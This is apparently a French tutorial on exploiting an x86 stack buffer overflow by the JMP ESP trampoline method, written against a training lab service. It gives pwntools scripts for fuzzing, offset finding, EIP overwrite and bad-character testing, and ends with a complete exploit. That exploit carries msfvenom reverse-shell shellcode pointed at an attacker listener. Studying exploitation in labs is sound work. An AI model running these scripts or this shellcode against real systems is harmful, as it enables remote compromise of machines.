Skip to main content

La méthode du trampoline (x86)

Contrairement à la méthode du saut direct que nous avons vu précédemment dans BOF1 sur TryHackMe (méthode popularisée dans les années 90 d'après Gemini), nous allons nous concentrer sur la méthode du trampoline qui est bien plus fiable.

[!IMPORTANT] Cette méthode, telle qu'elle est présentée ci-dessous, fonctionne sur les architectures x86. Les architectures ARM ou x64 n'alignent pas la mémoire de la même manière, l'exploitation est donc différente.

Trouver l'overflow

Pour trouver l'overflow, nous injectons tous les paramètres disponibles avec une chaine de caractères longue.

Exemple 1 : Service supportant les connexions TCP

Dans le cadre d'un service accessible par TCP, nous pouvons utiliser la commande generic_send_tcp pour tester le service par force brute :

generic_send_tcp 172.27.208.1 9999 stats.spk 0 0

Ou stats.spk est de la forme :

s_readline();
s_string("TRUN ");
s_string_variable("0");

Exemple 2 : Binaire prenant un input dans l'exécution

Dans le cadre d'un exécutable linux, nous pouvons faire un petit script python pour l'attaque par force brute :

from pwn import *

# Buffer de base
buf = 10

# Ouverture du process pointant sur le chemin du binaire vulnérable
io = process('./pwn')

# Définition d'une limite arbitraire (sinon : while True)
limit = 500

while buf < limit:
  # Tant qu'on ne casse pas le programme tourne
  try:
    # Print du progrès pour s'assurer que ça tourne
    print(f'Bruteforcing @ {buf}', end='\r')
    # On passe jusqu'à arriver à l'input (ici l'input est après 'payload:')
    io.recvregex(b'payload:')
    # On envoi la charge
    io.sendline(b'\x42' * buf)
    # Si ça ne casse pas, on augmente le buffer de façon arbitraire
    buf += 10
  # Si ça casse
  except Exception as e:
    # On a peut-être trouvé le buffer, on indique la dernière valeur pour laquelle ça à fonctionné
    success(f'Broke with buffer @ {buf}')
    # On sort de la boucle
    break

# Si on n'a pas cassé avant la limite
if buf >= limit:
  error('Exhausted')

Exemple 3 : Binaire prenant un input dans les arguments

Dans le cadre d'un exécutable qui prend un argument à l'exécution, nous pouvons faire un petit script python pas très propre pour faire l'attaque par force brute (process de pwntools est très verbeux et je n'ai pas trouvé comment faire mieux) :

from pwn import *

# Buffer de base
buf = 10

# Définition d'une limite arbitraire (sinon : while True)
limit = 500

while buf < limit:
  # Tant qu'on ne casse pas le programme tourne
  try:
    # Ouverture du process pointant sur le chemin du binaire vulnérable
    io = process(['./vuln', '-argument_vuln', 'A' * buf], stdin=DEVNULL, stdout=DEVNULL)
    # On attend la fin d'exécution
    io.wait()
    # On récupère l'exit code:
    c = io.poll()
    # Si ça casse, on est bon
    if c!=0:
      success(f'Broke with a buffer of : {buf}')
      break
    # Si ça casse pas, on augmente le buffer
    buf += 10
  # Si ça casse complet
  except Exception as e:
    # On a peut-être trouvé le buffer, on indique la dernière valeur pour laquelle ça à fonctionné
    success(f'Broke with buffer @ {buf}')
    # On sort de la boucle
    break

# Si on n'a pas cassé avant la limite
if buf >= limit:
  error('Exhausted')

Trouver l'offset

Une fois que nous avons trouvé le paramètre à exploiter, nous pouvons commencer à chercher l'offset.

Option 1 : Nous avons le binaire

Méthode 1 : Windows

S'il s'agit d'un binaire pour windows, nous l'ouvrons dans Immunity Debugger jusqu'à ce qu'il soit en mode "Running".
Une fois le programme lancé dans le débugger, nous passons à l'offensive dans notre console en lançant le programme python suivant :

from pwn import *

# On ouvre une connexion avec notre service
io = remote('172.27.208.1', 9999)
# On crée un cycle de la taille du payload qui a fait planter le programme précédemment
payload = b'TRUN /.:/' + cyclic(5000)
# On print jusqu'à arriver à l'input (ici l'input est après 'help.')
print(io.recvregex(b'help.').decode())
# On envoi le payload qui va faire planter le programme
info('Sending payload')
io.sendline(payload)
# On demande à l'utilisateur la valeur qu'il lit dans l'EIP sur Immunity Debugger
h = bytes.fromhex(input('EIP hex value :'))[::-1]
# On calcule l'offset
o = cyclic_find(h)
info(f"Found offset : {o}")

Et comme ça, nous avons trouvé l'offset qui est en fait égal à taille du buffer + un peu de padding + taille de l'EBP.

Méthode 2 : Linux

Dans linux s'est un peu plus simple encore, puisque nous pouvons attacher le binaire :

from pwn import *

# On attache notre binaire
io = process(‘./caf’)
# On crée un cycle de la taille du payload qui a fait planter le programme précédemment
payload = b'TRUN /.:/' + cyclic(5000)
# On print jusqu'à arriver à l'input (ici l'input est après 'help.')
print(io.recvregex(b'help.').decode())
# On envoit le payload qui va faire planter le programme
info('Sending payload')
io.sendline(payload)
# On attend que le programme plante
io.wait()
# On dump le core
core = io.corefile
# On récupère les infos de l'eip
eip = core.eip
# On cherche la valeur de l'eip dans le cycle
o = cyclic_find(pack(eip))

success(f'Found offset : {o}')
Pour un overflow par argument

Le script est très similaire dans ce cas, il devient :

from pwn import *

# On crée un cycle de la taille du payload qui a fait planter le programme précédemment
payload = cyclic(5000)

# On attache notre binaire
io = process(['./vuln', payload])
# On attend que le programme plante
io.wait()
# On dump le core
core = io.corefile
# On récupère les infos de l'eip
eip = core.eip
# On cherche la valeur de l'eip dans le cycle
o = cyclic_find(pack(eip))

success(f'Found offset : {o}')

Option 2 : Nous n'avons pas le binaire

Dans ce cas, l'idée reste la même en étant toutefois un peu plus complexe. Il va falloir, par force brute et plus finement que précédemment (par pas de 1 par exemple), trouver à quel moment le programme plante.
Généralement, cela ce produit une fois que la taille du buffer est atteinte.

[!Important] Attention, il faut s'assurer que l'attaque que vous lancez fera seulement planter un thread ou que le programme que vous attaquez est systématiquement relancé en cas d'erreur.
Sinon, vous risquez de simplement faire planter le service et perdre l'accès à votre cible...

Une fois que vous avez récupéré la taille du buffer, nous n'arrivons pas directement à l'EIP.
En effet, la mémoire est structurée telle que :

 ___________
|   Buffer  |
|-----------|
| Alignment |  |
|   Bytes   |  |
|-----------|  |
|    EBP    |  V
|-----------|
|    EIP    |
|___________|

Gemini dit :

Pour des raisons de performance, les processeurs modernes préfèrent que les données soient alignées sur des frontières spécifiques (souvent 16 octets). Le compilateur ajoute du "padding" (du vide) pour s'assurer que l'adresse de la pile reste un multiple de 16.

Or en x86, tous les registres principaux ont une taille de 4 bytes (ou 32bits) dans la pile.

On peut donc en déduire que l'adresse de l'EIP est comprise entre Buffer + 4 (sans padding) et Buffer + 16 + 4 (avec un padding maximal).
On ne peut pas discriminer plus à ce stade, il faudra croiser les doigts et garder ça en tête lors de l'exploitation, quitte à essayer toutes les possibilités.

Ecraser l'EIP

Nous allons simplement vérifier qu'avec l'offset que nous avons trouvé précédemment, nous sommes bien en mesure d'écraser l'EIP et de la remplacer par ce que nous souhaitons

[!IMPORTANT] Nous ne pouvons réaliser cette étape que si nous avons accès au fichier vulnérable dans un débuggeur

Méthode 1 : Windows

En s'assurant d'avoir le fichier en mode running dans Immunity Debugger, nous allons construire notre attaque pour remplacer l'EIP par la valeur que nous souhaitons :

from pwn import *

offset = 2003
desired_eip = 'ABCD'

io = remote('172.27.208.1', 9999)
io.recvregex(b'help.')

payload = b'TRUN /.:/' + b'\x41' * offset + desired_eip.encode()

info('Sending payload')
io.sendline(payload)

info(f'Check the value of the EIP in the debugger, it should be : {desired_eip.encode()[::-1].hex()}')

On vérifie dans le débuggeur que l'EIP a la bonne valeur et si c'est le cas, nous pouvons effectivement écraser l'EIP avec ce que nous souhaitons !

Méthode 2 : Linux

Dans linux s'est un peu plus simple encore, puisque nous pouvons toujours attacher le binaire :

from pwn import *

offset = 312
desired_eip = 'BBBB'

payload = b'\x41' * offset + desired_eip.encode()

io = process(['./vuln', payload])
io.wait()
core = io.corefile
eip = core.eip
if pack(eip).decode() == desired_eip:
  success('We successfully overwote the EIP.')
else:
  error(f'We failed to overwrite the EIP and got : {pack(eip).decode()}')

Trouver les "BadChars"

Voici la liste des chars que nous testons :

badchars = (
  b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
  b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
  b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
  b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
  b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
  b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
  b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
  b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
  b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
  b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
  b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
  b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
  b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
  b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
  b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

Nous ne testons pas \x00 car il est très souvent un BadChar par défaut (c'est le bit de terminaison des chaines de caractères par exemple).

Méthode 1 : Windows

Après avoir relancé le programme dans Immunity, nous exécutons l'attaque suivante :

from pwn import *

offset = 2003
desired_eip = 'ABCD'

badchars = (
  b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
  b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
  b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
  b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
  b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
  b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
  b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
  b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
  b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
  b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
  b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
  b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
  b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
  b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
  b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

io = remote('172.27.208.1', 9999)
io.recvregex(b'help.')

payload = b'TRUN /.:/' + b'\x41' * offset + desired_eip + badchars

info('Sending payload')
io.sendline(payload)

info(f'Check the value of the ESP register in the debugger')

De retour dans immunity, nous faisons un click droit sur la valeur de l'ESP puis Follow in dump et vérifions que tous les caractères sont présents. Si un ou plusieurs caractères sont absents, c'est que ce sont des badchars qu'il faudra retirer de notre shellcode plus tard.

[!NOTE] Si deux chars consécutifs apparaissent comme des badchars, il est possible que le deuxième ne soit pas réellement un badchar.

[!IMPORTANT] Dans immunity debugger, nous pouvons utiliser mona.py pour faire la vérification des badchars pour nous.

Méthode 2 : Linux

Dans linux s'est toujours plus simple encore, puisque nous pouvons toujours attacher le binaire :

from pwn import *

badchars = (
  b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
  b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
  b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
  b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
  b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
  b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
  b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
  b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
  b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
  b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
  b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
  b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
  b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
  b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
  b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

offset = 312
desired_eip = 'BBBB'

payload = b'\x41' * offset + desired_eip.encode() + badchars

io = process(['./vuln', payload])
io.wait()
core = io.corefile
esp = core.esp
esp_content = core.read(esp, len(badchars))

if esp_content == badchars:
  success('No bad chars here !')
else:
  warning('Found some bad chars here :')
  for _ in badchars:
    if _ not in esp_content:
      print(f'- {_.to_bytes()}')

Vérification des sécurités

Dans un monde meilleur, les programmes sont compilés avec des options de sécurité pour protéger le mémoire contre les dépassements de tampon. Ce n'est toutefois pas toujours le cas et c'est ce qui nous permet de réaliser nos buffer overflows.

Méthode 1 : Windows

Les étapes sont les suivantes:

  1. Vérification des protection dans Immunity Debugger avec !mona modules : On cherche une ligne avec que du False et qui soit attaché à l'appli vulnérable par exemple la librairie essfunc.dll
  2. On cherche maintenant les pointeurs du programme vers cette librairie avec mona : `!mona jmp -r ESP -m "essfunc.dll"

    [!NOTE] JMP ESP L'instruction JMP ESP ordonne au CPU de regarder l'adresse stockée dans l'ESP et de la suivre pour exécuter ce qu'il y a à cette adresse. Nous expliquerons plus tard pourquoi, mais c'est cette instruction qui va nous permettre d'exécuter notre shellcode

[!NOTE] L'instruction JMP ESP s'écrit en hexadécimal xFF xE4. Nous pouvons utiliser mona pour rechercher ce pattern dans le module qui nous intéresse et nous obtiendrons exactement les mêmes résultats qu'avec la commande précédente : !mona find -s "xff\xe4" -m essfunc.dll

  1. On récupère toutes les adresses de pointeurs trouvées
  2. On ajoute un breakpoint dans le débuggeur:
    • Cliquer sur la flèche "go to address in disassembler"
    • Entrer l'adresse du pointeur
    • Taper Fn+F2 pour créer un breakpoint au point de JMP ESP
    • Optionnel : répéter l'opération pour tous les pointeurs trouvés

De retour sur notre machine, on exécute le payload suivant :

pointers = ["625011af", "625011bb", "625011c7", "625011d3", "625011df", "625011eb", "625011f7", "62501203", "62501205"]

for _ in pointers:
    pointer = bytes.fromhex(_)[::-1]
    payload = b'TRUN /.:/' + b'\x41' * offset + pointer

    info(f'Sending payload {pointer.hex()}')
    io.sendline(payload)
    info('Check if breakpoint is reached in debugger.')
    if input('Continue ? (y/N) ').lower() != 'y':
        break

Une fois que l'on tape un breakpoint dans le débuggeur, on a trouvé notre instruction parfaite !

Méthode 2 : Linux

Pour l'instant... Je ne sais pas faire !

Générer un ShellCode

Pour générer un Shellcode, quelque soit le système hôte de la victime, il y a quatre approches :

  1. Ecrire son propre Shellcode de A à Z (ce que je ne ferai pas)
  2. Récupérer un Shellcode sur ExploitDB ou d'autres providers
  3. Générer un shellcode avec Pwntools
  4. Générer un shellcode avec Metasploit

[!NOTE] Windows x86 Dans le cadre d'un binaire pour windows x86, je ne suis pas parvenu à crafter un shellcode avec pwntools. J'ai utilisé metasploit avec msfvenom -p windows/shell_reverse_tcp LHOST=172.27.222.124 LPORT=7777 EXITFUNC=thread -f c -a x86 -b "\x00"
Il est toutefois intéressant de noter qu'un shellcode peut être généré dans un script python avec par exemple :

context.arch='amd64'
asm_shellcode = shellcraft.amd64.windows.cmd()
bytes_shellcode = asm(asm_shellcode)
final_shellcode = encoders.encoder.encode(bytes_shellcode, avoid = b'\x00')

Quelques trucs utiles

Avec pwn, une simple génération de shellcode pour un /bin/sh peut être :

pwn shellcraft -f d amd64.linux.sh

S'il est nécessaire d'exploiter un stickybit, il suffit d'ajouter le résultat de la commande suivante devant le shellcode obtenu précédemment :

pwn shellcraft -f d amd64.linux.setreuid <UID>

Envoyer le shellcode

Méthode 1 : Windows

Il n'y a plus qu'a construire notre payload et l'envoyer à la victime :

from pwn import *

io = remote('172.27.208.1', 9999)

offset = 2003
jmp_esp_pointer = "625011af"

# Shellcode généré par msf : `msfvenom -p windows/shell_reverse_tcp LHOST=172.27.222.124 LPORT=7777 EXITFUNC=thread -f c -a x86 -b "\x00"`

bytes_shellcode = (
  b"\xd9\xc1\xbb\x2e\xd7\x35\xbf\xd9\x74\x24\xf4\x5a\x33\xc9"
  b"\xb1\x52\x31\x5a\x17\x83\xc2\x04\x03\x74\xc4\xd7\x4a\x74"
  b"\x02\x95\xb5\x84\xd3\xfa\x3c\x61\xe2\x3a\x5a\xe2\x55\x8b"
  b"\x28\xa6\x59\x60\x7c\x52\xe9\x04\xa9\x55\x5a\xa2\x8f\x58"
  b"\x5b\x9f\xec\xfb\xdf\xe2\x20\xdb\xde\x2c\x35\x1a\x26\x50"
  b"\xb4\x4e\xff\x1e\x6b\x7e\x74\x6a\xb0\xf5\xc6\x7a\xb0\xea"
  b"\x9f\x7d\x91\xbd\x94\x27\x31\x3c\x78\x5c\x78\x26\x9d\x59"
  b"\x32\xdd\x55\x15\xc5\x37\xa4\xd6\x6a\x76\x08\x25\x72\xbf"
  b"\xaf\xd6\x01\xc9\xd3\x6b\x12\x0e\xa9\xb7\x97\x94\x09\x33"
  b"\x0f\x70\xab\x90\xd6\xf3\xa7\x5d\x9c\x5b\xa4\x60\x71\xd0"
  b"\xd0\xe9\x74\x36\x51\xa9\x52\x92\x39\x69\xfa\x83\xe7\xdc"
  b"\x03\xd3\x47\x80\xa1\x98\x6a\xd5\xdb\xc3\xe2\x1a\xd6\xfb"
  b"\xf2\x34\x61\x88\xc0\x9b\xd9\x06\x69\x53\xc4\xd1\x8e\x4e"
  b"\xb0\x4d\x71\x71\xc1\x44\xb6\x25\x91\xfe\x1f\x46\x7a\xfe"
  b"\xa0\x93\x2d\xae\x0e\x4c\x8e\x1e\xef\x3c\x66\x74\xe0\x63"
  b"\x96\x77\x2a\x0c\x3d\x82\xbd\x9f\xd9\x52\x41\x88\xdf\x6a"
  b"\xa4\x29\x69\x8c\xb2\xb9\x3f\x07\x2b\x23\x1a\xd3\xca\xac"
  b"\xb0\x9e\xcd\x27\x37\x5f\x83\xcf\x32\x73\x74\x20\x09\x29"
  b"\xd3\x3f\xa7\x45\xbf\xd2\x2c\x95\xb6\xce\xfa\xc2\x9f\x21"
  b"\xf3\x86\x0d\x1b\xad\xb4\xcf\xfd\x96\x7c\x14\x3e\x18\x7d"
  b"\xd9\x7a\x3e\x6d\x27\x82\x7a\xd9\xf7\xd5\xd4\xb7\xb1\x8f"
  b"\x96\x61\x68\x63\x71\xe5\xed\x4f\x42\x73\xf2\x85\x34\x9b"
  b"\x43\x70\x01\xa4\x6c\x14\x85\xdd\x90\x84\x6a\x34\x11\xa4"
  b"\x88\x9c\x6c\x4d\x15\x75\xcd\x10\xa6\xa0\x12\x2d\x25\x40"
  b"\xeb\xca\x35\x21\xee\x97\xf1\xda\x82\x88\x97\xdc\x31\xa8"
  b"\xbd"
)

payload = b'TRUN /.:/' + b'\x41' * offset + bytes.fromhex(jmp_esp_pointer)[::-1] + b'\x90' * 32 + bytes_shellcode

info(f'Sending payload with shellcode')
io.sendline(payload)

[!NOTE] Nous ajoutons une petite NOP Slide avant le shellcode pour s'assurer qu'il n'y ai pas quelques bits qui s'écrasent par inadvertance.

Et voilà ! En écoutant dans un listener sur notre machine, nous recevons un reverse shell (dans le cadre de ce shellcode précis).

Méthode 2 : Linux

Comme pour l'étape précédente, pour l'instant... Je ne sais pas faire !

Pourquoi ça marche ?

Cet exploit fonctionne en raison du fonctionnement de la mémoire dans une architecture x86.
Pour comprendre ce qu'il se passe, il faut avoir en tête :

  1. Ce que nous faisons, c'est :
    a) Nous remplissons le buffer
    b) Nous écrasons la valeur de l'EIP et nous pointons vers une instruction JMP ESP
    c) Nous continuons à écrire après l'EIP et nous y mettons notre NOP Slide et notre ShellCode
  2. Ce que le CPU fait, c'est :
    a) Il reçoit notre input
    b) Il est conduit jusqu'à l'EIP que nous avons écrasé
    c) Il arrive au JMP ESP et regarde cette adresse. Or, juste après que l'EIP a été lu, l'ESP pointe automatiquement vers l'adresse mémoire adjacente : notre NOP Slide
    d) Le CPU glisse sur la NOP Slide et arrive au ShellCode
    e) Le ShellCode s'exécute.